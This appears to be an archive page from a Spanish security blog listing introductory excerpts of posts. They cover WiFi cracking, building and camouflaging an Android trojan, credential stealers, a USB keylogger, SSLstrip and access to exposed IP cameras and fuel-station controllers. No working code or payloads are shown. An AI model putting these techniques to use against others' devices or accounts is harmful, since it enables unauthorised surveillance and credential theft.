En esta entrada os explicaré un poco en qué consiste WSUS, su instalación y configuración.

KRACK (Key Reinstallation Attacks): El ataque que vulnera el protocolo WPA2 de las redes WiFi

Wed, 18 Oct 2017 00:00:00 +0000

Ayer se hacía pública una de las noticias que más relevancia ha tenido en los últimos meses en el mundo de la ciberseguridad, el protocolo de seguridad WPA2, usado en la mayoría de redes WiFi de todo el mundo ha sido roto (vulnerado).

El investigador Mathy Vanhoef (@vanhoefm ) de la Universidad KU de Leuven ha descubierto esta vulnerabilidad y lo ha puesto en conocimiento de la comunidad para que los fabricantes saquen parches para solucionarlo, algunas empresas como Microsoft se han dado prisa y ya han puesto una solución a sus productos .

Metasploitable3: Crea una máquina vulnerable para probar tus ataques

Sun, 11 Jun 2017 00:00:00 +0000

¿Qué es Metasploitable3 y porqué usarlo?

Metasploitable3 es una máquina virtual gratuita de Windows Server 2008 que cuenta con varias vulnerabilidades listas para ser explotadas y practicar nuestras técnicas de hacking o simular ataques, Metasploitable3 ha sido desarrollado por Rapid7, los mismos desarrolladores del conocido Framework MetaSploit.

Es usado por gran parte de la industria de la ciberseguridad por varios motivos, cómo por ejemplo, la formación de personal para la explotación de redes, pruebas de software o demostración y viabilidad de ataques.

Script PowerShell para comprobar vulnerabilidad MS17-010

Tue, 16 May 2017 00:00:00 +0000

Buenas a todos, después de estar mucho tiempo sin escribir en el blog, me gustaría compartir con vosotros un script que he creado en PowerShell para comprobar la vulnerabilidad MS17-010 explotada por el ransomware WannaCry.

Este script debe de ser ejecutado desde el controlador de dominio para comprobar que equipos aún no cuentan con las actualizaciones publicadas por Microsoft para solucionar esta vulnerabilidad.

Obtener credenciales HTTPS con Bettercap y SSLstrip

Sun, 08 Jan 2017 00:00:00 +0000

Para empezar este 2017, os traigo un tutorial sobre cómo obtener las credenciales de sitios web que tengan cifrado SSL/TLS (HTTPS) mediante una técnica llamada SSLstrip y el uso de un framework para realizar ataques MITM (ataque de hombre en el medio) llamado Bettercap, en Internet, existen multitud de tutoriales para realizar este ataque pero aquí os enseñaré como realizarlo de una manera muy simple.

Explotación de vulnerabilidad CVE-2011-0762 con Metasploit en VSFTPD v2.3.4

Thu, 20 Oct 2016 00:00:00 +0000

En esta ocasión, os muestro como podemos explotar una vulnerabilidad con el Framework de seguridad Metasploit.

En concreto explotaremos la vulnerabilidad CVE-2011-0762 en el servicio VSFTPD v2.3.4 para conseguir una shell e interactuar con el servidor vulnerado.

Está vulnerabilidad tiene ya 5 años y es muy antigua, aunque nos podemos seguir encontrando algún servidor que nos permita «jugar», la finalidad de esta entrada es aprender como usar los principales comandos de Metasploit.

Instalación de VirtualBox Guest Additions en Kali Linux 2016.2

Sat, 08 Oct 2016 00:00:00 +0000

Si eres de los que eliges VirtualBox para trabajar con tus máquinas virtuales, después de la instalación, habrás notado que el tamaño de la pantalla es muy reducido e impide que podamos trabajar con ella cómodamente, otras veces, echamos de menos el poder integrar la máquina anfitrión con la virtual, por ejemplo, algo tan simple como copiar un enlace o URL con el atajo de tecla Ctrl + C o arrastrar un archivo para usarlo en la máquina virtual, para ello, VirtualBox tiene las llamadas Guest Additions.

Hacking Cámaras IP - Montándome mi propio Gran Hermano

Sun, 11 Sep 2016 00:00:00 +0000

Para los que no os hayáis enterado, la edición 17 de Gran Hermano está a punto de comenzar.

¿ Y si me monto mi propio Gran Hermano?

Pues si, esa fue la pregunta que mi hice, y si tu también quieres montarte el tuyo, te invito a que leas este tutorial sobre Hacking de cámaras IP.

En esta entrada, os mostraré como podemos buscar Camarás IP accesibles desde Internet y cómo acceder a ellas.

Preparando Sublime Text 3 para programar en Python

Tue, 28 Jun 2016 00:00:00 +0000

Uno de los lenguajes de programación que más interés ha despertado en el mundo de la Seguridad Informática y Hacking, es sin duda Python.

Python es un lenguaje de programación interpretado y orientado a objetos, muy fácil de aprender y potente, desde mi punto de vista, recomendado para cualquier persona que desee aprender a programar, y mucho más, si desea orientar sus conocimiento a la seguridad de la información, muchas de las herramientas de hacking que se usan hoy en día, están escritas en este lenguaje.

Navega por la Deep Web con Tails y un USB

Sun, 29 May 2016 00:00:00 +0000

Todo el mundo ha oído alguna vez hablar sobre la Deep Web, en la entrada de hoy, os mostraré como podemos crear un USB para acceder a la Deep Web de manera segura, gratuita y anónima con una distribución llamada Tails.

¿Que es la Deep Web?

La Deep Web, o también conocida como Internet profunda o invisible, es la parte de Internet que no ha podido ser indexada por los motores de búsqueda, ya sea por páginas privadas o material que ha sido ocultado, quedando así en mayor parte de manera inaccesible.

Cómo instalar Parrot OS en VMware

Sun, 17 Apr 2016 00:00:00 +0000

Hoy vengo a hablaros sobre una de las distribuciones «top» orientadas a la seguridad informática y pentesting, Parrot OS, que junto a Kali Linux y Bugtraq son a día de hoy las más utilizadas.

Parrot OS es una distribución de Linux basada en Debian con el kernel de Linux 4.3 (en su versión 2.2.1), ha sido desarrollada por un equipo de hackers italianos llamados FrozenBox, utiliza MATE 1.8.1 como escritorio y debido a la gran cantidad de herramientas y la importancia de actualizarlas, tiene un modelo de actualización continua (Rolling release).

Dendroid - Crea tu propio Troyano para Android - Parte III

Sun, 13 Sep 2015 00:00:00 +0000

Esta será la última parte de configuración de nuestro troyano para Android, en la cual bindearemos (fusionaremos o uniremos) la APK maliciosa generada en el anterior tutorial por nosotros con otra APK legítima de Google Play para camuflarla.

Lo primero, deberemos de descargarnos una APK desde Google Play, yo voy a elegir la APK de Angry Birds.

Existen muchas maneras de conseguir la APK desde Google Play, yo os explicaré dos posibilidades, la primera accediendo directamente en nuestro terminal a la ruta /data/app (lugar donde se almacenan las APK cuando se descargan de Google Play antes de su instalación) y copiando la APK a nuestro PC (esta opción es la más recomendada, pero posiblemente necesitemos ser root en nuestro terminal).

Dendroid - Crea tu propio Troyano para Android - Parte II

Thu, 09 Jul 2015 00:00:00 +0000

En la entrada anterior vimos como crear un panel de control en un servidor web para administrar los dispositivos que infectaremos posteriormente, en esta entrada, os mostraré como crear una APK Maliciosa para infectar dispositivos que ejecuten el sistema operativo Android (Smartphone, Tablets, etc).

Para este tutorial, necesitaremos tener instalado Eclipse + SDK de Android y tener instalado en el sistema el JDK , si tenéis cualquier tipo de problema en instalarlo, podéis buscar en Google , existen miles de tutoriales de como preparar Eclipse para el desarrollo de aplicaciones Android.

Dendroid - Crea tu propio Troyano para Android - Parte I

Sat, 13 Jun 2015 00:00:00 +0000

Android se ha convertido en el sistema operativo más utilizado en nuestros dispositivos móviles, objeto por el cual ha sido blanco de muchos ciberdelincuentes, que han pasado de atacar ordenadores personales a dispositivos móviles, puesto que es mas fácil de atacar, cuenta en cierta medida con menos protección y el porcentaje de ataque con éxito es mayor.

En esta entrada os mostraré como crear nuestro propio troyano para dispositivos Android, cada uno utilizará los conocimientos adquiridos en este tutorial con sus propios fines éticos, pero esto nos puede servir de gran ayuda en el caso que nuestro móvil se pierda o nos lo roben, ya que tendremos total control sobre el dispositivo que infectemos, recordad que infectar un dispositivo ajeno al nuestro sin consentimiento del propietario puede ser un delito.

XXE - XML External Entity - El Nuevo SQLi

Sat, 30 May 2015 00:00:00 +0000

XXE (Xml eXternal Entity) es un tipo de vulnerabilidad que se produce en aplicaciones que hacen uso de «parsers» XML. Es decir aplicaciones que reciben como entrada un documento XML y para procesarlo hacen uso de alguna librería de parseo como LibXML, Xerces, MiniDOM, SAX etc. El atacante entonces puede aprovechar esta vulnerabilidad y enviar un documento XML especialmente manipulado para conseguir que el parser XML divulgue información del sistema, consuma recursos en exceso, ejecute comandos u otras formas de explotación.

Hacking Wifi - Parte VII - Seleccionar el Objetivo y capturar los paquetes

Sun, 24 May 2015 00:00:00 +0000

Lo que intentaremos en esta entrada, será conseguir paquetes de la red objetivo (evidentemente sin estar asociados a ella) y guardarlos en un archivo con extension .PCAP (Packet Capture Data), para que cuando tengamos suficientes IVs crackearlo para obtener la clave.

Me he encontrado por casa un router que tenía sin utilizar para realizar esta entrada, lo he configurado con cifrado WEP y he cambiado el SSID (nombre de la red) a WiFi-Hackpuntes.

Ataque DNS Spoofing con Cain&Abel

Thu, 07 May 2015 00:00:00 +0000

En la entrada de hoy, os mostraré como realizar un ataque DNS Spoofing en una red de area local, normalmente no suelo trabajar con Windows, pero en esta entrada lo utilizaremos, dado que la herramienta que vamos a trabajar solo está disponible para este SO.

La herramienta se llama Cain&Abel, y la podéis descargar de su pagina oficial AQUI , puede que vuestro navegador os indique que estáis a punto de descargar una herramienta potencialmente peligrosa, de igual manera somos conscientes del uso de ella y aceptamos para descargarla.

Cómo crear un USB Keylogger/Stealer para recuperar contraseñas

Sat, 02 May 2015 00:00:00 +0000

Hace unas semana publiqué una entrada sobre Stealers y expliqué lo que eran y para que servían, hoy vengo a explicaros como crear un USB que se autoejecute y recupere todas nuestras contraseñas del PC de manera automática, únicamente con conectarlo a nuestro PC, sin tocar absolutamente nada, ademas tendrá una función Keylogger, que registrará en un archivo .txt todo lo que pulsemos en nuestro teclado mientras el USB esté conectado al PC.

Herramienta para recuperar los archivos cifrados por el ransomware TeslaCrypt

Sat, 02 May 2015 00:00:00 +0000

Cifrar los archivos de la víctima y luego pedir bitcoins para descifrarlos es un negocio muy lucrativo: las campañas de ramsonware se están convirtiendo en una amenaza cada vez mayor. Después de la caída de CryptoLocker surgió Cryptowall , con técnicas anti-depuración avanzadas, y después numerosas variantes que se incluyen en campañas dirigidas cada vez más numerosas.

Una de las últimas variantes se llama TeslaCrypt y parece ser un derivado del ransomware CryptoLocker original. Este ransomware está dirigido específicamente a gamers y, aunque dice estar usando RSA-2048 asimétrico para cifrar archivos, realmente está usando AES simétrico, lo que ha permitido a Talos Group (Talos Security Intelligence & Research Group) desarrollar una herramienta que descifra los archivos…

Hacking Wifi - Parte VI - Seguridad en redes Wi-Fi

Tue, 28 Apr 2015 00:00:00 +0000

Antes de empezar a atacar una red Wi-Fi, tenemos que saber que tipo de seguridad tiene, para posteriormente auditarla de la forma más eficiente y correcta posible.

No debemos de creer, que únicamente consiguiendo la clave del Wi-Fi ya tendremos acceso a ella, puesto que únicamente hemos conseguido romper la seguridad a nivel de protocolo.

La seguridad en las redes inalámbricas, se pueden diferenciar en dos grandes grupos: seguridad a nivel de enlace y seguridad a nivel de protocolo mediante sistemas de cifrado de información.

Cómo usar tu pendrive como contraseña en Windows 7

Thu, 23 Apr 2015 00:00:00 +0000

Si eres de los que olvidas las contraseñas fácilmente o simplemente quieres otro método distinto para identificarte en Windows 7, en esta entrada te mostraré como puedes utilizar tu pendrive como contraseña para Windows 7.

Pasos a seguir

Inserta tu pendrive formateado en NTFS, si no sabes formatearlo en NTFS, haz «Click derecho» sobre la unidad y en «Formatear».

Nueva vulnerabilidad SMB afecta a todas las versiones de Windows

Tue, 14 Apr 2015 00:00:00 +0000

Nuevo fallo al protocolo SMB (Server Message Block) que afecta a todas las versiones de Windows, esta vulnerabilidad ha sido clasificada como grave. Dicha vulnerabilidad permite que un atacante pueda robar las credenciales de servicios del usuario.

El error está relacionado con la forma en que Windows y otro software manejan algunas peticiones HTTP, y los investigadores dicen que afecta a una amplia gama de aplicaciones, incluyendo iTunes y Adobe Flash, algunos clientes de GitHub, Oracle y AVG Anti-virus. La vulnerabilidad, divulgada el lunes por los investigadores en Cylance, es una extensión de la investigación realizada por Aaron Spangler hace casi 20 años, conocida como “redirect to SMB”. Esta debilidad puede permitir a un atacante forzar a las víctimas para que se autentiquen mediante hijacking en un servidor controlado por el atacante, mediante ataques man-in-the-middle y luego enviarlos a servidores maliciosos SMB. Con lo que ello supone, robo de credenciales.

Desarrollo de un Stealer sencillo para Twitter en Visual Studio

Sun, 12 Apr 2015 00:00:00 +0000

No os sorprendáis, Twitter no ha lanzado un aplicación para PC, en la entrada de hoy vengo a enseñaros como desarrollar un Stealer para la obtención de usuarios y contraseñas de esta red social, posteriormente lo programaremos para que nos envie lo «recolectado» a nuestro correo.

Todo lo que publico en mi blog, lo hago con fines educativos y de aprendizaje, por lo tanto no me hago responsable del mal uso que algunos puedan darle al conocimiento adquirido en este blog.

Hacking Wifi - Parte V - Modificando la dirección MAC con macchanger

Thu, 09 Apr 2015 00:00:00 +0000

La dirección MAC de la tarjeta de red o dirección física, es un identificador de 48 bits (6 bloques hexadecimales ) que identifica de manera inequívoca a un dispositivo de red, es una de las maneras más fáciles de rastrear e identificar un equipo al no existir dos direcciones MAC iguales en el mundo.

¿Como es posible que no se repitan y sean únicas?

El Instituto de Ingeniería Eléctrica y Electrónica (IEEE) es la que le asigna los primeros 24 bits a los fabricantes de tarjetas de red y los otros 24 bits quedan a elección del fabricante de tarjetas de red. Por supuesto bajo supervisión y respetando que no se repitan ninguna dirección MAC.

Hacking Wifi - Parte IV - Comandos Básicos

Sun, 05 Apr 2015 00:00:00 +0000

En esta parte de entradas sobre hacking wifi, vamos a empezar a trabajar con nuestra tarjeta de red inalámbrica y a conocer los comandos básicos.

Uno de los comandos básicos que siempre debemos de utilizar para comprobar que nuestra tarjeta de red ha sido aceptada por el sistema operativo es:

ifconfig

Este comando permite configurar numerosos parámetros de las interfaces de red, como la direccion IP o la máscara de red. Si se llama sin argumentos (como la acabo de llamar yo) muestra la configuración vigente de las interfaces de red activas (con esto confirmamos que la tarjeta de red inalámbrica ha sido aceptada por el sistema y no es necesario drivers para ponerla en funcionamiento), con detalles como la direccion MAC o el tráfico que ha circulado por las mismas hasta el momento.

Miles de cuentas de Uber, supuestamente vendidas en la deep web

Sat, 04 Apr 2015 00:00:00 +0000

El medio online Motherboard ha informado recientemente de algo serio. Miles de cuentas de usuario de Uber se estarían vendiendo en la deep web (concretamente en un portal relativamente nuevo llamado AlphaBay), a un precio que cualquiera se puede permitir: un dólar. Hay vendedores que presumen de tener varios miles de esas cuentas en oferta, en forma de las contraseñas que se necesitan para entrar en ellas, e incluso se venden en packs con descuento.

SPARTA - La Caja de Herramientas del Pentester

Tue, 31 Mar 2015 00:00:00 +0000

SPARTA es una aplicación GUI (Interfaz Gráfica de Usuario) escrita en Python, con la cual nos simplifica las pruebas de penetración en una determinada infraestructura de red y nos permite realizar diversas pruebas de penetración en la fase de escaneo y enumeración. Estas cualidades permite al pentester ahorrar tiempo en el momento de realizar una auditoria. SPARTA equivale a tener acceso a su caja de herramientas en la cual nos muestra toda la producción de las herramientas de una manera conveniente y ordenada.

Accediendo al sistema de control de las gasolineras

Sun, 29 Mar 2015 00:00:00 +0000

Ayer por la noche estaba leyendo un articulo de Amador Aparicio de la Fuente en el que aseguraba que los conversores de serie a Ethernet del tipo GC-NET2 32-DTE que utilizan las gasolineras españolas para controlar los tanques de combustible eran vulnerables (más que vulnerables, mala securización), nada más leer el artículo algo me decía que ya había leído yo eso en algún sitio, hasta que recordé y ví el siguiente tweet , que en un principio no dí mucha importancia ni me dio por investigar.

China ataca GitHub introduciendo un troyano en Baidu

Sat, 28 Mar 2015 00:00:00 +0000

Seguro que muchos de los lectores de este blog, teniendo en cuenta cuál es su público más habitual, ya habrán notado que el funcionamiento de GitHub esta mañana ha sido intermitente.

Como es habitual, este mal funcionamiento del servicio se debió a un nuevo ataque DDoS, como se puede comprobar en la página de estado de GitHub.

Siendo los ataques a GitHub tan habituales, ¿por qué prestarle atención a este en concreto? Porque, en primer lugar, según la información disponible, este parece tener un atacante identificado con bastante probabilidad: el Gran Firewall chino. Sin embargo, tampoco es el primer ataque conocido con este origen: recordemos que, a principios de enero, el Gran Firewall hizo que el nombre de dominio de webs censuradas como Facebook resolviese a la dirección IP de la organización ciberactivista francesa La Quadrature du Net, provocando un volumen de tráfico para el que no estaban preparados y que provocó una denegación de servicio .

Hacking Wifi – Parte III – Instalación de Aircrack-ng

Fri, 27 Mar 2015 00:00:00 +0000

En esta tercera parte, comenzaremos con la práctica, lo primero que haremos será instalar Aircrack-ng y comprobar que ha sido correctamente instalado.

Tengo que aclarar que Aircrack-ng NO es una sola herramienta, es una suite de software de seguridad inalámbrica, es decir, una recopilación de herramientas para auditar redes inalámbricas, esto debe de quedar claro porque utilizaremos varias herramientas de la suite de forma independiente, algunas de las herramientas más utilizadas son:

Hacking Wifi – Parte II – Requisitos antes de empezar

Wed, 25 Mar 2015 00:00:00 +0000

Antes de empezar con estas entradas, aclararé que deberemos de probar nuestros ataques únicamente sobre redes propias, la idea de estas entradas es para fines educativos y de aprendizaje, no me responsabilizo de un mal uso de ellas.

Acceder a una red Wi-Fi ajena a la nuestra, se traduce jurídicamente en conectarse fraudulentamente a través de un sistema de conexión inalámbrico para evitar tener que soportar su coste y que lo asuma la empresa proveedora del servicio o bien un particular, algo que está penado en los art. 255, 256 y 623.4 de nuestro Código Penal, en resumen estaréis cometiendo un delito.

Examen Programación Hilos - HinchaGlobos y PinchaGlobos

Fri, 20 Mar 2015 00:00:00 +0000

Recientemente acabo de terminar mis exámenes de programación, y en este caso me gustaría compartir con vosotros el examen de programación de servicios y procesos.

El lenguaje de programación que se ha utilizado para resolver el ejercicio es Java, y el examen decía lo siguiente (Dejo la nota de cada punto por si queréis intentarlo vosotros y calcular cual sería vuestra nota):

Hacking Wifi - Parte I - Introducción

Fri, 20 Mar 2015 00:00:00 +0000

Bienvenido a la entrada de hoy, este será el primer post de una serie de entradas que publicaré sobre Hacking Wifi, existen en la red miles de artículos relacionados con este tema, pero casi todos son guías para que copies y pegues comandos en la terminal a diestro y siniestro sin entender ni tener idea de que estas haciendo realmente y el motivo por el cual has mandado ese comando a la terminal.

IP-Box: Dispositivo para crackear claves de iPhone

Tue, 17 Mar 2015 00:00:00 +0000

IP-BOX permite por menos de 200€ obtener la contraseña de 4 dígitos de cualquier iPhone con iOS 8 o inferior.

Realiza un ataque de fuerza bruta (efectivo en menos de 17 horas) y probablemente se aprovecha de la vulnerabilidad CVE-2014-4451 que afecta a todos los iOS anteriores a 8.1.1 que no controlan adecuadamente el límite de intentos de acceso.

IP-BOX realiza de manera agresiva un corte de alimentación después de cada intento fallido, evitando así «Borrar datos después de 10 intentos«, aunque no garantiza que el dispositivo no sea «formateado» si tiene activado esta configuración.

Ataques SQL injection contra Bases de Datos mediante SQLmap

Wed, 11 Mar 2015 00:00:00 +0000

Hoy en día, uno de los ataques que más se utiliza contra aplicaciones web son los llamados SQL Injection, estos ataques tienen como objetivo acceder a la base de datos del sitio web, y obtener información sensible sobre ella, como por ejemplo los datos para administrar el sitio web, contraseñas de los usuarios, correos electrónicos, DNI, dirección e incluso números de tarjetas de crédito con los códigos de verificación, etc.

Detectando aplicaciones maliciosas para Android en Google Play

Wed, 11 Mar 2015 00:00:00 +0000

Una de las principales formas de prevenir una infección con malware en dispositivos con sistema operativo Android es no descargar e instalar aplicaciones que no sean de Google Play, es decir, no utilizar repositorios no oficiales, como solemos decir. Pero, ¿es esta medida suficiente?

En el día de ayer estuvimos cubriendo la décima edición de SEGURINFO 2015 en Argentina, donde la exposición de cierre quedó en manos de un carismático disertante como es Chema Alonso, con su presentación “Can I Play with madness?” (en honor a Iron Maiden). En ella abordó temas referidos a aplicaciones maliciosas dentro de Google Play, combinados con divertidas ironías que hicieron reír a la totalidad de la sala -tan colmada que hasta había gente sentada en el piso.

Obtener información con The Harvester

Mon, 09 Mar 2015 00:00:00 +0000

Antes de realizar cualquier intento de penetrar en un sistema informático, es necesario la recolección de información sobre la empresa u organismo que se quiere penetrar o auditar, intentar cualquier ataque sin tener información sería «ir dando palos de ciego» sin sentido, aunque parezca que es una pérdida de tiempo en un principio, durante la fase de explotación echaremos de menos no haber recolectado los suficientes datos.

Siempre suelo utilizar una herramienta esencial, The Harvester.

Presentación de mi blog sobre Seguridad Informática y Hacking

Thu, 05 Mar 2015 00:00:00 +0000

Bienvenido a mi blog sobre Hacking, Seguridad Informática y Programación, antes de nada, me presentaré, mi nombre es Javier Olmedo y soy Técnico en Sistemas Informáticos y Técnico Superior en Desarrollo de Aplicaciones Multiplataforma, desde hace unos años aprendo seguridad informática de manera autodidacta.

¿A quién va dirigido este blog?

Este blog va dirigido a personas que deseen empezar en el mundo del hacking y seguridad de sistemas informáticos, no pretendo hacer un blog demasiado técnico.